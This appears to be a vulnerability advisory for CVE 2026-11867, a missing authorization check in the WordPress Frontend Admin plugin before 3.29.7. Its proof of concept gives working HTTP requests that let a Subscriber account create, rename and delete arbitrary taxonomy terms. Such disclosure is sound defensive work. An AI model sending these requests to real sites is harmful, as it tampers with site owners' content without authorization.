Frontend Admin by DynamiApps < 3.29.7 – Subscriber+ Taxonomy Term Creation/Modification/Deletion via Missing Authorization | CVE 2026-11867

Description

The plugin does not perform capability checks on its taxonomy term creation, modification, and deletion operations, allowing authenticated users with low privileges (such as Subscribers) to create, rename, and delete arbitrary taxonomy terms.

Proof of Concept

Account `subscriber` is a default Subscriber (the lowest role); `current_user_can('manage_categories')` returns false for it. All requests below use that Subscriber's logged-in session cookie.

Step 1 - Obtain the acf_nonce (no special configuration)
Log in as the Subscriber and open any front-end page that renders an ACF frontend form or field (the plugin's standard usage). View the page source and copy the localized ACF nonce value, e.g. the `nonce` field inside the inline `acf` / `acff` data, here `89e4c2213e`.

Step 2 - Create an arbitrary term (no term form required)
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=acf/fields/related_terms/add_term&nonce=89e4c2213e&field_key=field_x&taxonomy=category&term_name=PWN_ADD_SUBSCRIBER&term_parent=0
```
Response (a new category term is created by the Subscriber):
```json
{"success":true,"data":{"message":"Category added","term_id":25,"term_name":"PWN_ADD_SUBSCRIBER","term_label":"PWN_ADD_SUBSCRIBER"}}
```

Step 3 - Modify an arbitrary existing term
On a page hosting a Frontend Admin "edit term" form, request it with the target term id appended, e.g. `GET /the-edit-term-page/?term_id=23`. The server loads the victim term (id 23, here a category named "VictimCategoryOriginal" that the Subscriber does not own) and returns the per-form fields, including hidden `_acf_nonce`, `_acf_form`, and `_acf_objects` values. Copy those served values and submit:
```http
POST /wp-admin/admin-ajax.php?term_id=23 HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=frontend_admin/form_submit&_acf_form=<served _acf_form>&_acf_nonce=<served _acf_nonce>&_acf_objects=<served _acf_objects>&_acf_status=publish&_acf_taxonomy_type=category&acff[term][<served field key>]=HACKED_BY_SUBSCRIBER
```
Response, and confirmed state change:
```json
{"success":true,"data":{"submission_title":"HACKED_BY_SUBSCRIBER","success_message":"Saved",...}}
```
Term 23 is renamed from "VictimCategoryOriginal" to "HACKED_BY_SUBSCRIBER" (verified server side: the term name in the database changed).

Step 4 - Delete an arbitrary term (same root cause)
On a page hosting a Frontend Admin "delete term" element, request it with `?term_id=24`, copy the served delete-button `nonce` and `_acf_objects`, and submit:
```http
POST /wp-admin/admin-ajax.php?term_id=24 HTTP/1.1
Host: victim.example
Cookie: <wordpress_logged_in cookie for the Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=frontend_admin/delete_object&field=<served delete button key>&nonce=<served delete nonce>&_acf_form=<served _acf_form>&_acf_objects=<served _acf_objects>&_acf_taxonomy_type=category
```
Response, and confirmed state change:
```json
{"success":true,"data":{"success_message":"Your term has been deleted",...}}
```
Term 24 is deleted from the database.

Step 5 - Negative control
The same Subscriber account has no term capability in core, confirming these operations cross a privilege boundary:
```
current_user_can('manage_categories') => false
current_user_can('edit_term', 23)     => false
current_user_can('delete_term', 24)   => false
```